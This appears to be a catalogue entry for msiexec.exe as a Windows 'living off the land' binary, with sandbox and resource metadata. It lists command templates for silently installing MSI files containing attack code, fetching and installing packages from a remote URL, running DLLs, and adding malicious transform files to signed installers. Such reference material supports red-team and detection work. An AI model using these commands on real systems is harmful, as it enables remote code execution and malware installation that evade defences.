Used by Windows to execute msi files Located at: C:\Windows\System32\msiexec.exe; C:\Windows\SysWOW64\msiexec.exe.
msiexec msiexec Sandbox: execFile · Timeout: 30s
security.execution.command Outputs
process.output Command execution output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | low |
| Disk I/O | low |
Installs the target .MSI file silently. (Execute custom made msi file with attack code)
msiexec /quiet /i {PATH:.msi} Installs the target remote & renamed .MSI file silently. (Execute custom made msi file with attack code from remote server)
msiexec /q /i {REMOTEURL} Calls DllRegisterServer to register the target DLL. (Execute dll files)
msiexec /y {PATH_ABSOLUTE:.dll} Calls DllUnregisterServer to un-register the target DLL. (Execute dll files)
msiexec /z {PATH_ABSOLUTE:.dll} Installs the target .MSI file from a remote URL, the file can be signed by vendor. Additional to the file a transformation file will be used, which can contains malicious code or binaries. The /qb will skip user input. (Install trusted and signed msi file, with additional attack code as transformation file, from a remote server)
msiexec /i {PATH_ABSOLUTE:.msi} TRANSFORMS="{REMOTEURL:.mst}" /qb msiexec is a Windows LOLBin. Used by Windows to execute msi files Located at: C:\Windows\System32\msiexec.exe; C:\Windows\SysWOW64\msiexec.exe.